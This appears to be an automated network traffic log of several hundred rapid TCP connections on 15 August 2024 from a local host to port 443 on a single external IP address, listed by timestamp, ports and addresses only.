Aug 15, 2024 08:10:28.428901911 CEST	49910	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.436990023 CEST	49910	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.437064886 CEST	443	49910	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.437105894 CEST	443	49910	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.443389893 CEST	49911	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.443471909 CEST	443	49911	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.444084883 CEST	49911	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.452472925 CEST	49911	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.452574968 CEST	443	49911	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.452608109 CEST	443	49911	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.461852074 CEST	49912	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.461930990 CEST	443	49912	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.462424994 CEST	49912	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.470381021 CEST	49912	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.470458031 CEST	443	49912	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.470501900 CEST	443	49912	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.490384102 CEST	49913	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.490463018 CEST	443	49913	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.490845919 CEST	49913	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.499037027 CEST	49913	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.499145985 CEST	443	49913	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.499186993 CEST	443	49913	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.506000996 CEST	49914	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.506079912 CEST	443	49914	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.506522894 CEST	49914	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.514599085 CEST	49914	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.514678001 CEST	443	49914	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.514714956 CEST	443	49914	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.523879051 CEST	49915	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.523957968 CEST	443	49915	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.525533915 CEST	49915	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.537040949 CEST	49915	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.537120104 CEST	443	49915	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.537158966 CEST	443	49915	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.577281952 CEST	49916	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.577362061 CEST	443	49916	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.577464104 CEST	49916	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.588582039 CEST	49916	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.588659048 CEST	443	49916	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.588706970 CEST	443	49916	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.602226019 CEST	49917	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.602305889 CEST	443	49917	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.602421999 CEST	49917	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.612632036 CEST	49917	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.612709045 CEST	443	49917	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.612752914 CEST	443	49917	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.631639004 CEST	49918	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.631717920 CEST	443	49918	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.631840944 CEST	49918	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.640683889 CEST	49918	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.640758991 CEST	443	49918	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.640795946 CEST	443	49918	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.646697998 CEST	49919	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.646778107 CEST	443	49919	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.647003889 CEST	49919	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.655030966 CEST	49919	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.655105114 CEST	443	49919	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.655153036 CEST	443	49919	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.662735939 CEST	49920	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.662775993 CEST	443	49920	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.662916899 CEST	49920	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.670994043 CEST	49920	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.671010017 CEST	443	49920	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.671027899 CEST	443	49920	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.677017927 CEST	49921	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.677052975 CEST	443	49921	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.677525043 CEST	49921	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.686989069 CEST	49921	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.687004089 CEST	443	49921	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.687022924 CEST	443	49921	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.691979885 CEST	49922	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.691988945 CEST	443	49922	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.693404913 CEST	49922	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.702642918 CEST	49922	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.702653885 CEST	443	49922	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.702686071 CEST	443	49922	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.709796906 CEST	49923	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.709820032 CEST	443	49923	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.710335970 CEST	49923	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.719410896 CEST	49923	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.719425917 CEST	443	49923	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.719445944 CEST	443	49923	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.729320049 CEST	49924	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.729327917 CEST	443	49924	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.729398012 CEST	49924	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.741322041 CEST	49924	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.741331100 CEST	443	49924	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.741358995 CEST	443	49924	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.756561995 CEST	49925	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.756584883 CEST	443	49925	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.756737947 CEST	49925	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.765355110 CEST	49925	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.765367031 CEST	443	49925	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.765389919 CEST	443	49925	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.772428989 CEST	49926	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.772444010 CEST	443	49926	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.772576094 CEST	49926	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.780664921 CEST	49926	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.780679941 CEST	443	49926	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.780714035 CEST	443	49926	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.785737038 CEST	49927	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.785747051 CEST	443	49927	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.786031961 CEST	49927	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.794231892 CEST	49927	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.794240952 CEST	443	49927	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.794260025 CEST	443	49927	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.800519943 CEST	49928	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.800525904 CEST	443	49928	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.800594091 CEST	49928	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.808940887 CEST	49928	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.808948994 CEST	443	49928	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.808969975 CEST	443	49928	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.813679934 CEST	49929	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.813705921 CEST	443	49929	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.813898087 CEST	49929	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.825336933 CEST	49929	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.825349092 CEST	443	49929	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.825371027 CEST	443	49929	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.832495928 CEST	49930	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.832513094 CEST	443	49930	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.832885981 CEST	49930	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.840548992 CEST	49930	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.840560913 CEST	443	49930	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.840580940 CEST	443	49930	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.845706940 CEST	49931	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.845714092 CEST	443	49931	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.846103907 CEST	49931	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.855334044 CEST	49931	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.855343103 CEST	443	49931	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.855367899 CEST	443	49931	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.861402035 CEST	49932	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.861419916 CEST	443	49932	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.861511946 CEST	49932	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.869755983 CEST	49932	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.869771004 CEST	443	49932	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.869793892 CEST	443	49932	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.873636961 CEST	49933	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.873644114 CEST	443	49933	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.873718977 CEST	49933	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.881860018 CEST	49933	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.881869078 CEST	443	49933	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.881897926 CEST	443	49933	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.886173964 CEST	49934	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.886181116 CEST	443	49934	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.888396978 CEST	49934	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.903295040 CEST	49934	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.903309107 CEST	443	49934	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.903337002 CEST	443	49934	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.909770012 CEST	49935	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.909804106 CEST	443	49935	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.909961939 CEST	49935	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.927339077 CEST	49935	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.927352905 CEST	443	49935	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.927382946 CEST	443	49935	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.932159901 CEST	49936	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.932204008 CEST	443	49936	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.932523012 CEST	49936	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.940494061 CEST	49936	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.940502882 CEST	443	49936	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.940519094 CEST	443	49936	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.945580959 CEST	49937	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.945620060 CEST	443	49937	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.945756912 CEST	49937	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.956190109 CEST	49937	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.956201077 CEST	443	49937	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.956224918 CEST	443	49937	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.961227894 CEST	49938	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.961240053 CEST	443	49938	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.961345911 CEST	49938	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.970381021 CEST	49938	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.970405102 CEST	443	49938	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.970423937 CEST	443	49938	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.974461079 CEST	49939	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.974472046 CEST	443	49939	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.974617958 CEST	49939	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.983167887 CEST	49939	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.983191967 CEST	443	49939	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.983211040 CEST	443	49939	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.993325949 CEST	49940	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:28.993365049 CEST	443	49940	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:28.993444920 CEST	49940	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.001400948 CEST	49940	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.001415968 CEST	443	49940	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.001435041 CEST	443	49940	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.005848885 CEST	49941	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.005881071 CEST	443	49941	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.006081104 CEST	49941	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.016047001 CEST	49941	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.016072035 CEST	443	49941	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.016089916 CEST	443	49941	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.021795034 CEST	49942	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.021811962 CEST	443	49942	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.021917105 CEST	49942	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.032742023 CEST	49942	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.032751083 CEST	443	49942	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.032772064 CEST	443	49942	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.037311077 CEST	49943	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.037322998 CEST	443	49943	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.037389994 CEST	49943	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.051924944 CEST	49943	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.051939964 CEST	443	49943	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.051963091 CEST	443	49943	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.058429956 CEST	49944	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.058450937 CEST	443	49944	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.059031963 CEST	49944	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.068224907 CEST	49944	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.068245888 CEST	443	49944	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.068270922 CEST	443	49944	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.074018002 CEST	49945	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.074048996 CEST	443	49945	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.074212074 CEST	49945	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.083112001 CEST	49945	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.083123922 CEST	443	49945	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.083146095 CEST	443	49945	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.089447021 CEST	49946	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.089462042 CEST	443	49946	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.089545965 CEST	49946	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.101319075 CEST	49946	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.101336956 CEST	443	49946	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.101356030 CEST	443	49946	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.106502056 CEST	49947	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.106530905 CEST	443	49947	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.106641054 CEST	49947	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.115842104 CEST	49947	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.115854979 CEST	443	49947	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.115876913 CEST	443	49947	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.124545097 CEST	49948	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.124568939 CEST	443	49948	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.124707937 CEST	49948	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.134355068 CEST	49948	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.134368896 CEST	443	49948	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.134398937 CEST	443	49948	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.140463114 CEST	49949	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.140477896 CEST	443	49949	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.140552044 CEST	49949	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.151607037 CEST	49949	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.151628017 CEST	443	49949	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.151642084 CEST	443	49949	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.156980991 CEST	49950	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.156991959 CEST	443	49950	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.157061100 CEST	49950	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.167947054 CEST	49950	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.167958975 CEST	443	49950	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.167979956 CEST	443	49950	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.172992945 CEST	49951	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.173015118 CEST	443	49951	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.173135996 CEST	49951	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.184654951 CEST	49951	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.184672117 CEST	443	49951	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.184715033 CEST	443	49951	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.191034079 CEST	49952	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.191116095 CEST	443	49952	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.191200018 CEST	49952	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.202276945 CEST	49952	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.202354908 CEST	443	49952	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.202598095 CEST	443	49952	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.212889910 CEST	49953	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.212929964 CEST	443	49953	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.213011026 CEST	49953	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.224853992 CEST	49953	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.224879026 CEST	443	49953	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.225142002 CEST	443	49953	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.230226040 CEST	49954	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.230245113 CEST	443	49954	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.230292082 CEST	49954	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.244112015 CEST	49954	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.244132042 CEST	443	49954	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.244427919 CEST	443	49954	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.254180908 CEST	49955	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.254261017 CEST	443	49955	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.254354954 CEST	49955	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.272185087 CEST	49955	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.272262096 CEST	443	49955	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.272545099 CEST	443	49955	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.280148029 CEST	49956	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.280164957 CEST	443	49956	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.280246973 CEST	49956	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.291960001 CEST	49956	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.291974068 CEST	443	49956	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.292084932 CEST	443	49956	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.298300028 CEST	49957	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.298382998 CEST	443	49957	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.298464060 CEST	49957	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.310123920 CEST	49957	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.310199976 CEST	443	49957	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.310311079 CEST	443	49957	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.316350937 CEST	49958	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.316430092 CEST	443	49958	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.316553116 CEST	49958	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.328119993 CEST	49958	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.328186035 CEST	443	49958	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.328365088 CEST	443	49958	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.334806919 CEST	49959	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.334872007 CEST	443	49959	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.334943056 CEST	49959	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.350058079 CEST	49959	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.350123882 CEST	443	49959	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.350383997 CEST	443	49959	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.355596066 CEST	49960	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.355676889 CEST	443	49960	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.355747938 CEST	49960	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.371865034 CEST	49960	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.371942043 CEST	443	49960	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.372165918 CEST	443	49960	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.376641989 CEST	49961	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.376719952 CEST	443	49961	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.376832008 CEST	49961	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.389045000 CEST	49961	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.389117956 CEST	443	49961	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.389359951 CEST	443	49961	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.394493103 CEST	49962	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.394572973 CEST	443	49962	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.394643068 CEST	49962	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.405561924 CEST	49962	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.405636072 CEST	443	49962	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.405881882 CEST	443	49962	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.412282944 CEST	49963	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.412363052 CEST	443	49963	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.412503004 CEST	49963	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.425183058 CEST	49963	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.425247908 CEST	443	49963	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.425368071 CEST	443	49963	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.431337118 CEST	49964	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.431416988 CEST	443	49964	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.431516886 CEST	49964	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.443272114 CEST	49964	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.443341017 CEST	443	49964	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.443588018 CEST	443	49964	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.449237108 CEST	49965	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.449316025 CEST	443	49965	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:29.449404955 CEST	49965	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.461659908 CEST	49965	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:29.461738110 CEST	443	49965	94.141.120.29	192.168.2.4
